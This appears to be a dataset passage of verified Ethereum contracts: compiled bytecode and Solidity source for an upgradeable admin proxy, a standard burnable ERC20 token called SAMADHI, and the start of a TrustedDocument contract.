2081019035600160201b81111561032157600080fd5b82018360208201111561033357600080fd5b803590602001918460208302840111600160201b8311171561035457600080fd5b50909250905061075b565b6100f36004803603604081101561037557600080fd5b81359190810190604081016020820135600160201b81111561039657600080fd5b8201836020820111156103a857600080fd5b803590602001918460018302840111600160201b831117156103c957600080fd5b509092509050610867565b6103dc6108db565b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229181900360200190a150565b6002602052600090815260409020546001600160a01b031681565b6000908152600260205260409020546001600160a01b031690565b6001546001600160a01b031681565b60005b818110156104fa5782828281811061048c57fe5b905060200201356001600160a01b03166001600160a01b031663741853606040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156104d657600080fd5b505af11580156104ea573d6000803e3d6000fd5b5050600190920191506104789050565b505050565b6001546001600160a01b031633146105485760405162461bcd60e51b81526004018080602001828103825260358152602001806109276035913960400191505060405180910390fd5b600054600154604080516001600160a01b03938416815292909116602083015280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6524b9b9bab2b960d11b600090815260026020527f0651498423135bdecab48e2d306f14d560a72d49179b71410fd95b5d25ce349a546001600160a01b03168061064c576040805162461bcd60e51b815260206004820152601a60248201527f43616e6e6f742066696e64204973737565722061646472657373000000000000604482015290519081900360640190fd5b806001600160a01b03166357ad4663846040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561069057600080fd5b505afa1580156106a4573d6000803e3d6000fd5b505050506040513d60208110156106ba57600080fd5b50519392505050565b6000546001600160a01b031681565b6000805b8481101561074d578383828181106106ea57fe5b905060200201356001600160a01b03166001600160a01b03166002600088888581811061071357fe5b60209081029290920135835250810191909152604001600020546001600160a01b031614610745576000915050610753565b6001016106d6565b50600190505b949350505050565b6107636108db565b8281146107b7576040805162461bcd60e51b815260206004820152601860248201527f496e707574206c656e67746873206d757374206d617463680000000000000000604482015290519081900360640190fd5b60005b838110156108605760008585838181106107d057fe5b90506020020135905060008484848181106107e757fe5b600085815260026020908152604091829020805493820295909501356001600160a01b03166001600160a01b03199093168317909455805186815293840182905280519194507fefe884cc7f82a6cf3cf68f64221519dcf96b5cae9048e1bb008ee32cd05aaa9193829003019150a150506001016107ba565b5050505050565b6000838152600260205260408120546001600160a01b03168383826108d05760405162461bcd60e51b815260206004820190815260248201839052908190604401848480828437600083820152604051601f909101601f19169092018290039550909350505050fd5b509095945050505050565b6000546001600160a01b031633146109245760405162461bcd60e51b815260040180806020018281038252602f81526020018061095c602f913960400191505060405180910390fd5b56fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6ea265627a7a72315820fad65040361801c0ea25b0f4211b511739bae1738367017d7972975c48442f0e64736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 5,102 |
0xf349c0faa80fc1870306ac093f75934078e28991
|
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,103 |
0x0cada92a2ee887f3317e73b5730bd783a30d3e85
|
/**
*Submitted for verification at Etherscan.io on 2021-11-13
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'SAMADHI' contract
//
// Symbol : AUM
// Name : SAMADHI
// Total supply: 1000000000000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract SAMADHI is BurnableToken {
string public constant name = "SAMADHI";
string public constant symbol = "AUM";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 1000000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280600781526020017f53414d414448490000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a64e8d4a510000281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f41554d000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea26469706673582212205982f3de712df807c575ff9629df111bb909f23815ec9a5281efed3599f2dc0464736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,104 |
0xaece2fc8473f75a3ecc5db0817a6f03f34b3cf9b
|
pragma solidity ^0.4.8;
contract TrustedDocument {
// Data structure for keeping document bundles signatures
// and metadata
struct Document {
// Id of the document, starting at 1
// 0 reserved for undefined / not found indicator
uint documentId;
// File name
string fileName;
// Hash of the main file
string documentContentSHA256;
